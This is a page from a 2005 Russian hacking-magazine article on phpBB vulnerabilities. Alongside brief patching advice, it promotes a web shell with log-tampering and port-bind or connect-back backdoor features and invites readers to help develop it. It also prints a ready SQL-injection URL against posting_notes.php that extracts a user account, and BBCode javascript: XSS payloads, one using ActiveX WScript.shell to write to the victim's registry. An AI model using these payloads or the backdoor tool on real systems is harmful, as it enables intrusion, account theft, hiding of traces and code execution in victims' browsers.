Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #79, ИЮЛЬ 2005 г.

Кружка кофе

clk__ (clk__@list.ru)

Хакер, номер #079, стр. 079-068-4


Баг детский, однако из-за него уже пострадало немалое количество ресурсов. Так что не поленись и добавь в код системы проверку переменной cat: по логике программы там может быть только лишь integer. Ну, или скачай обновление, которое заботливо выложили на странице www.phpbb.com/phpBB/viewtopic.php?t=74505.

[NIX REMOTE WEB SHELL 0.5a Lite]

Вот несколько возможностей скрипта:

* поддержка авторизации при обращении к скрипту;

* информация о системе:

- сервер;

- OC;

- привилегии;

- текущий каталог;

- твой IP;

- PHP version;

- ID владельца процесса;

- MySQL info;

- проверка доступа к системным файлам и каталогам.

* удобная навигация по файловой системе сервера с широкими возможностями:

- копирование, удаление, скачивание, просмотр, редактирование, обнуление, загрузка файлов;

- возможность полной замены нужных строк в файлах (то же acsess.log);

- создание, удаление, архивирование каталогов;

- возможность отослать любой файл на свой e-mail.

* установка бэкдора:

- возможность забиндить порт с помощью perl / C;

- установка connect-back бэкдора с помощью perl / C.

Подробнее о скрипте ты сможешь узнать на http://ru24-team.net, там же возможно присоединиться к разработке NIX REMOTE WEB SHELL.

[более свежие баги PHPbb]

В Сети постоянно появляются сообщения о новых багах в phpBB. Так, в сценарии posting_notes.php из-за некорректной обработки параметра post_id удаленный юзер может выполнять произвольные sql-команды. Например вот так:

posting_notes.php?mode=editpost &p=-99%20UNION%20SELECT%200,0,username,0,0,0,0,0,0%20FROM%20orionphpbb_users%20WHERE%20user_id=2/*

Спустя две недели появились достоверные сведения об ошибках в phpBB 2.0.15. К примеру, баг в функции make_clickable() скрипта includes/bbcode.php позволяет удаленному пользователю с помощью специально сформированного BB-кода выполнить произвольный JS в браузере жертвы. Например таким образом:

[url=javascript://%0ASh=alert(%22CouCou%22);

window.close();]Alert box with "hacked"[/url]

Можно также сделать кое-что посерьезнее:

[url=javascript://%0ASh=new%20ActiveXObject

(%22WScript.shell%22);Sh.regwrite(%22HKCU

%5C%5CQQQQQ%5C%5Cqq%22,%22hacked

%22);window.close();]

Выполнение этого кода создаст в пользовательском реестре новую запись HKCU\QQQQQ\qq = "hacked".

CD/DVD

На нашем диске ты найдешь скрипт, который я использовал в этой статье.

WWW

На сайте http://ru24-team.net ты можешь поучаствовать в разработке скрипта, описанного в статье.

Назад на стр. 079-068-3  Содержание